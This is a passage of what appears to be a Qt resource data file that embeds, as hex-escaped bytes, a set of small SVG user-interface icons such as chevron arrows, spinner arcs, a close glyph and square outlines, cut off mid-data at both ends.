\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x35\x2e\x30\x38\
\x33\x33\x30\x32\x38\x20\x34\x2e\x35\x2c\x31\x2e\x37\x37\x32\x39\
\x38\x31\x38\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x35\x2e\
\x30\x38\x34\x37\x32\x33\x35\x20\x63\x20\x30\x2e\x31\x35\x37\x37\
\x31\x32\x35\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\
\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\x2c\x2d\
\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x39\x20\x30\x2c\x30\x20\x30\
\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\
\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\x20\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x34\x2e\x35\x31\x33\x35\
\x38\x36\x36\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\
\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\x35\x37\
\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\
\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x20\x30\x2e\x31\x35\x37\
\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x20\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x36\x32\x38\
\x31\x33\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x66\x66\x66\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\x55\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x30\x20\x32\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x32\x30\
\x20\x32\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\
\x30\x20\x31\x2c\x30\x20\x31\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\
\x20\x61\x38\x2e\x31\x2c\x38\x2e\x31\x20\x30\x20\x31\x2c\x31\x20\
\x2d\x31\x36\x2e\x32\x2c\x30\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x35\x38\x64\x33\x66\x66\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\
\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\x30\x20\x31\x2c\x31\x20\x31\
\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\x20\x61\x38\x2e\x31\x2c\x38\
\x2e\x31\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x36\x2e\x32\x2c\x30\
\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x35\
\x38\x64\x33\x66\x66\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x3c\x2f\x73\
\x76\x67\x3e\x0a\
\x00\x00\x02\x99\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x35\x34\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x35\x34\x20\x31\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x35\x34\
\x20\x31\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x72\x65\
\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\x64\x61\
\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\x31\x22\x20\x78\
\x3d\x22\x31\x36\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\
\x68\x3d\x22\x34\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x38\x22\
\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x4c\
\x69\x67\x68\x74\x31\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\
\x3d\x22\x4c\x69\x67\x68\x74\x31\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\x31\x36\x22\x20\
\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x33\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x22\x2f\x3e\x0a\x20\x20\x3c\
\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\x32\x22\x20\
\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\x6b\x32\
\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\x31\x22\
\x20\x78\x3d\x22\x32\x35\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\
\x64\x74\x68\x3d\x22\x34\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\
\x38\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\
\x22\x4c\x69\x67\x68\x74\x32\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\
\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\x32\x22\x20\x66\x69\x6c\x6c\
\x3d\x22\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\x32\x35\
\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x33\
\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x22\x2f\x3e\x0a\x20\
\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\x33\
\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\
\x6b\x33\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\
\x31\x22\x20\x78\x3d\x22\x33\x34\x22\x20\x79\x3d\x22\x31\x22\x20\
\x77\x69\x64\x74\x68\x3d\x22\x34\x22\x20\x68\x65\x69\x67\x68\x74\
\x3d\x22\x38\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\
\x64\x3d\x22\x4c\x69\x67\x68\x74\x33\x22\x20\x64\x61\x74\x61\x2d\
\x6e\x61\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\x33\x22\x20\x66\x69\
\x6c\x6c\x3d\x22\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\
\x33\x34\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\
\x22\x33\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x22\x2f\x3e\
\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x90\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x30\x22\x20\x3e\
\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x32\x35\x30\
\x2c\x35\x30\x30\x20\x4c\x20\x35\x30\x30\x2c\x37\x35\x30\x20\x4c\
\x20\x37\x35\x30\x2c\x35\x30\x30\x20\x4c\x20\x35\x30\x30\x2c\x32\
\x35\x30\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\
\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x23\x61\x32\x61\x32\x61\
\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\
\x22\x35\x30\x22\x20\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x5e\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x22\x20\x68\x65\
\x69\x67\x68\x74\x3d\x22\x39\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\
\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x66\x66\x66\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x20\x64\x3d\x22\x4d\x31\x2c\x38\x56\x31\x4c\x35\x2c\x34\x2e\
\x35\x5a\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x22\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x35\x2e\x30\x38\
\x33\x33\x30\x32\x38\x20\x34\x2e\x35\x2c\x31\x2e\x37\x37\x32\x39\
\x38\x31\x38\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x35\x2e\
\x30\x38\x34\x37\x32\x33\x35\x20\x63\x20\x30\x2e\x31\x35\x37\x37\
\x31\x32\x35\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\
\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\x2c\x2d\
\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x39\x20\x30\x2c\x30\x20\x30\
\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\
\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\x20\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x34\x2e\x35\x31\x33\x35\
\x38\x36\x36\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\
\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\x35\x37\
\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\
\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x20\x30\x2e\x31\x35\x37\
\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x20\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x36\x32\x38\
\x31\x33\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x33\x64\x61\x65\x65\x39\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x02\x12\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x32\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x32\x30\x30\x22\x3e\x0a\
\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x20\x36\x30\x30\
\x2c\x31\x30\x35\x30\x20\x43\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\
\x31\x30\x35\x30\x20\x31\x35\x30\x2c\x38\x34\x38\x2e\x35\x32\x38\
\x20\x31\x35\x30\x2c\x36\x30\x30\x20\x31\x35\x30\x2c\x33\x35\x31\
\x2e\x34\x37\x32\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\x31\x35\x30\
\x20\x36\x30\x30\x2c\x31\x35\x30\x20\x63\x20\x32\x34\x38\x2e\x35\
\x32\x38\x2c\x30\x20\x34\x35\x30\x2c\x32\x30\x31\x2e\x34\x37\x32\
\x20\x34\x35\x30\x2c\x34\x35\x30\x20\x30\x2c\x32\x34\x38\x2e\x35\
\x32\x38\x20\x2d\x32\x30\x31\x2e\x34\x37\x32\x2c\x34\x35\x30\x20\
\x2d\x34\x35\x30\x2c\x34\x35\x30\x20\x7a\x20\x4d\x20\x38\x38\x38\
\x2e\x34\x36\x32\x2c\x38\x32\x37\x2e\x38\x35\x31\x20\x36\x36\x31\
\x2e\x39\x37\x34\x2c\x36\x30\x31\x2e\x31\x32\x32\x20\x6c\x20\x30\
\x2c\x2d\x32\x2e\x32\x34\x34\x20\x32\x32\x36\x2e\x34\x38\x38\x2c\
\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x30\x2c\x2d\x36\x30\x2e\x36\
\x31\x31\x20\x2d\x36\x30\x2e\x38\x34\x38\x2c\x30\x20\x51\x20\x37\
\x32\x37\x2e\x33\x33\x39\x2c\x34\x31\x31\x2e\x39\x38\x36\x20\x36\
\x32\x37\x2e\x30\x34\x33\x2c\x35\x31\x32\x2e\x34\x35\x31\x20\x36\
\x31\x33\x2e\x35\x32\x34\x2c\x35\x32\x35\x2e\x33\x35\x38\x20\x36\
\x30\x30\x2c\x35\x33\x38\x2e\x32\x36\x37\x20\x6c\x20\x2d\x32\x32\
\x36\x2e\x34\x38\x37\x2c\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x2d\
\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x36\x30\x2e\x36\x31\
\x31\x20\x4c\x20\x35\x33\x38\x2e\x30\x32\x36\x2c\x36\x30\x30\x20\
\x33\x31\x31\x2e\x35\x33\x38\x2c\x38\x32\x36\x2e\x37\x32\x39\x20\
\x6c\x20\x30\x2c\x36\x31\x2e\x37\x33\x33\x20\x36\x30\x2e\x38\x34\
\x38\x2c\x30\x20\x71\x20\x33\x34\x2e\x33\x36\x33\x2c\x2d\x33\x34\
\x2e\x37\x39\x32\x20\x36\x38\x2e\x37\x33\x35\x2c\x2d\x36\x39\x2e\
\x35\x39\x20\x4c\x20\x36\x30\x30\x2c\x36\x36\x31\x2e\x37\x33\x33\
\x20\x6c\x20\x32\x32\x36\x2e\x34\x38\x37\x2c\x32\x32\x36\x2e\x37\
\x32\x39\x20\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x2d\x36\
\x30\x2e\x36\x31\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x62\x33\x33\x65\x33\x65\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x02\x2d\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x39\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x36\x20\x39\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x36\x20\x39\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x6d\x20\x35\x2e\x30\x38\x32\x33\x30\x32\x38\x2c\x31\x2e\x31\x38\
\x39\x34\x35\x39\x33\x20\x2d\x33\x2e\x33\x31\x30\x33\x32\x31\x2c\
\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x33\x2e\x33\x31\x31\x37\
\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x63\x20\
\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\
\x32\x35\x20\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x20\x30\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\
\x39\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\
\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\
\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\x2d\x33\x2e\x35\x39\x37\
\x33\x31\x30\x31\x37\x2c\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\
\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\
\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\
\x31\x31\x37\x34\x38\x20\x4c\x20\x34\x2e\x35\x31\x32\x35\x38\x36\
\x36\x2c\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x30\
\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x20\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\x30\x2e\
\x31\x35\x37\x37\x31\x32\x34\x20\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x2c\x30\x20\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\x30\x2e\
\x31\x35\x37\x37\x31\x32\x35\x20\x30\x2e\x31\x35\x36\x32\x38\x31\
\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x33\x20\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x33\
\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\x62\x30\x62\
\x30\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x22\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x35\x2e\x30\x38\
\x33\x33\x30\x32\x38\x20\x34\x2e\x35\x2c\x31\x2e\x37\x37\x32\x39\
\x38\x31\x38\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x35\x2e\
\x30\x38\x34\x37\x32\x33\x35\x20\x63\x20\x30\x2e\x31\x35\x37\x37\
\x31\x32\x35\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\
\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\x2c\x2d\
\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x39\x20\x30\x2c\x30\x20\x30\
\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\
\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\x20\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x34\x2e\x35\x31\x33\x35\
\x38\x36\x36\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\
\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\x35\x37\
\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\
\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x20\x30\x2e\x31\x35\x37\
\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x20\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x36\x32\x38\
\x31\x33\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x62\x30\x62\x30\x62\x30\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x01\x4a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x63\x38\x63\x39\x63\x61\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x63\x38\x63\x39\x63\x61\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x38\x20\x76\x2d\x38\x20\x7a\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x63\x38\x63\x39\x63\x61\x22\x20\x66\x69\x6c\x6c\
\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x2a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x30\x2e\x39\x31\
\x37\x36\x39\x37\x31\x38\x20\x34\x2e\x35\x2c\x34\x2e\x32\x32\x38\
\x30\x31\x38\x32\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x30\
\x2e\x39\x31\x36\x32\x37\x36\x34\x38\x20\x63\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\
\x37\x30\x32\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\
